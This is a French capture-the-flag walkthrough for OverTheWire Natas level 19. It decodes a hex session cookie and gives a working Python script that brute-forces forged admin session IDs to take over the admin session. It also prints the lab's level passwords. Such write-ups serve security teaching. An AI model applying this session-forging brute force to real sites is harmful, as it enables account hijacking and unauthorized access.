Niveau 19

Natas 19

Level Goal

Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
URL: http://natas19.natas.labs.overthewire.org

En se connectant à la page du challenge 19 (curl http://natas19.natas.labs.overthewire.org -u natas19:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs) on accède à un (nouveau) formulaire de connexion :

<p>
<b>
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>

<p>
Please login with your admin account to retrieve credentials for natas20.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>

Cette fois-ci on ne dispose pas du code source de la page. Commençons toutefois par regarder la valeur d'un cookie créé par le site une fois que l'on se connecte avec des identifants aléatoires :

PHPSESSID 
httpOnly  true
path  "/"
value "3430352d61646d696e"

La valeur value semble beaucoup trop longue pour être attaqué directement par force brute ; elle est composée de 18 caractères hexadécimaux, ce qui représente 16 ^ 18 combinaisons différentes.

Cependant si on essaye par curiosité de décoder cette chaîne hexadécimal en ASCII on obtient :

$ echo 3430352d61646d696e | xxd -r -p
405-admin

Il semble donc que la logique de résolution soit la même que pour l'épreuve précédente ; le serveur prend 3 chiffres et les concatène à -admin puis encode le tout en hexadécimal.

Utilisons Python pour trouver la solution ; à noter que l'on utilise la méthode RequestsCookieJar() de requests. En effet le cookie enregistré par le serveur comporte les paramètres spécifiques httpOnly et path et il se peut qu'un contrôle de ces paramètres soit fait par le serveur :

import requests
import string


def query(session_id):
    jar = requests.cookies.RequestsCookieJar()
    jar.set(
        "PHPSESSID",
        f"{session_id}-admin".encode("utf-8").hex(),
        domain="natas19.natas.labs.overthewire.org",
        path="/",
        rest={'HttpOnly': None},
    )
    response = requests.get(
        "http://natas19.natas.labs.overthewire.org",
        cookies=jar,
        auth=requests.auth.HTTPBasicAuth("natas19", "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs"),
    )
    return response.text

for i in range(1, 1000):
    result = query(i)
    if "You are an admin" in result:
        print("Session ID", i)
        print(result)
        break

On obtient l'identifiant de session (281) ainsi que le mot de passe pour la prochaine épreuve : eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF